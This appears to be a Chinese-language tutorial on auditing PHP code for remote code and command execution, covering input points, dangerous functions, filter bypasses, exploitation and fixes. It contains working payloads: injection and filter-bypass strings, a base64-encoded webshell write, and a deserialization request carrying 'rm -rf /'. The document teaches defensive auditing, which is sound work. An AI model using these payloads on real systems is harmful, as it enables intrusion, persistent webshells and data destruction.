文章目录
-
- Remote Code Execution
- Remote Command Execution
概要
提示:远程代码执行的区别,反弹shell的原理,fork命令。
RCE漏洞原理
### 代码审计核心思想:输入点 → 控制层 → 绕过限制 → 漏洞利用
#### **审计流程图**
---
### **1. 输入点 (Entry Points)**
**核心目标**:识别所有用户可控输入入口
**PHP 常见输入点**:
```php
// GET/POST 参数
$user_input = $_GET['param'];
$user_input = $_POST['param'];
// Cookie
$user_input = $_COOKIE['session'];
// 文件上传
$file_content = file_get_contents($_FILES['file']['tmp_name']);
// HTTP 头
$user_input = $_SERVER['HTTP_USER_AGENT'];
// 文件操作
$data = file_get_contents($_GET['file']);
```
**审计技巧**:
- 全局搜索 `$_GET`、`$_POST`、`$_REQUEST`、`file_get_contents()`
- 追踪变量传递路径:`$input = $_GET['a']; process($input);`
---
### **2. 控制层 (Control Layer)**
**核心目标**:跟踪数据流经的关键处理函数
**危险函数映射表**:
| 漏洞类型 | PHP 危险函数 |
|---------------|--------------------------------------|
| 命令执行 | `system()`, `exec()`, `passthru()` |
| 代码执行 | `eval()`, `assert()`, `create_function()` |
| 文件包含 | `include()`, `require()`, `include_once()` |
| 反序列化 | `unserialize()` |
| SQL注入 | `mysql_query()`, `mysqli_query()` |
**审计示例**:
```php
// 控制层分析
$id = $_GET['id']; // 输入点
$id = htmlspecialchars($id); // 过滤层
$cmd = "ls -l " . $id; // 拼接操作
system($cmd); // 危险函数(命令执行)
```
---
### **3. 绕过限制 (Bypass Restrictions)**
**核心目标**:突破安全过滤机制
**常用绕过技术**:
#### **命令执行绕过**
```php
// 原始过滤
$input = str_replace(';', '', $_GET['cmd']);
// 绕过方案
?cmd=%0a id // 换行符
?cmd=127.0.0.1%26%26id // URL编码 &&
?cmd=echo${IFS}test // 空格替代
?cmd=;sleep 5;# // 注释符
```
#### **代码执行绕过**
```php
// 原始过滤
if(preg_match('/system|exec/', $code)) die();
// 绕过方案
$code = 'sy'.'stem'; // 字符串拼接
$code = hex2bin('73797374656d') // 十六进制编码
$code = 'sYstEm' // 大小写变形
```
#### **过滤函数绕过**
```php
// 类型1:黑名单过滤
$input = str_replace(['<','>'], '', $input);
// 绕过:UTF-7编码
?input=+ADw-script+AD4-alert(1)+ADw-/script+AD4-
// 类型2:正则过滤
if(preg_match('/union/i', $sql)) die();
// 绕过:内联注释
?sql=uni/*!88888on*/ select
```
---
### **4. 漏洞利用 (Exploitation)**
**核心目标**:构造有效攻击载荷
**PHP 漏洞利用链示例**:
#### **命令执行 → Webshell 上传**
```php
// 漏洞代码
$file = $_GET['file'];
system("cat " . $file);
// 攻击载荷
?file=/etc/passwd%3Becho%20PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7%20%7C%20base64%20-d%20%3E%20shell.php
// 解码后:
;echo '<?php eval($_POST[cmd]);' | base64 -d > shell.php
```
#### **反序列化 → 代码执行**
```php
// 漏洞代码
$data = unserialize($_COOKIE['data']);
// 攻击载荷 (使用 PHPGGC 生成)
class Exploit {
public $command = 'id';
}
echo serialize(new Exploit);
// O:7:"Exploit":1:{s:7:"command";s:2:"id";}
// 最终攻击:
curl -H "Cookie: data=O:7:\"Exploit\":1:{s:7:\"command\";s:10:\"rm -rf /\";}" http://target.com
```
---
### **完整审计案例:命令注入漏洞**
#### **漏洞代码**
```php
<?php
// 文件:ping.php
$ip = $_GET['ip'];
$clean_ip = preg_replace('/[;&|]/', '', $ip); // 过滤层
system("ping -c 4 " . $clean_ip); // 危险函数
?>
```
#### **审计过程**
1. **输入点**:`$_GET['ip']`
2. **控制层**:`preg_replace()` → `system()`
3. **绕过限制**:
- 过滤了 `; & |`,但未过滤 `换行符` 和 `反引号`
- 测试载荷:`ip=127.0.0.1%0a id`
4. **漏洞确认**:
```http
GET /ping.php?ip=127.0.0.1%0a
uname -a%0a
HTTP/1.1
```
**响应**:
```
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
Linux server 5.4.0-84-generic #94-Ubuntu x86_64 GNU/Linux
```
#### **修复方案**
```php
// 方案1:白名单验证
if(!preg_match('/^[0-9.]+$/', $ip)) die("Invalid IP");
// 方案2:参数化执行
$cmd = ['ping', '-c', '4', $ip];
system(implode(' ', array_map('escapeshellarg', $cmd)));
```
---
### **自动化审计工具**
1. **静态分析**:
- `RIPS`:PHP 代码审计工具
- `Semgrep`:通用代码扫描
```bash
semgrep --config=p/security-audit
```
2. **动态分析**:
- `Burp Suite`:拦截测试请求
- `sqlmap`:自动化 SQL 注入测试
```bash
sqlmap -u "http://site.com?id=1" --level=5
```
---
### **审计检查清单**
| 阶段 | 关键问题 |
|------------|-------------------------------------------------------------------------|
| **输入点** | 是否有未过滤的用户输入?是否覆盖所有入口? |
| **控制层** | 数据是否流向危险函数?是否经过多层处理? |
| **绕过** | 过滤规则是否可绕过?是否考虑编码/大小写/注释等变形? |
| **利用** | 能否构造有效载荷?是否影响系统完整性? |
> 牢记:**"所有输入都是有害的,直到被证明安全"**。审计时要假设所有用户输入都包含恶意载荷。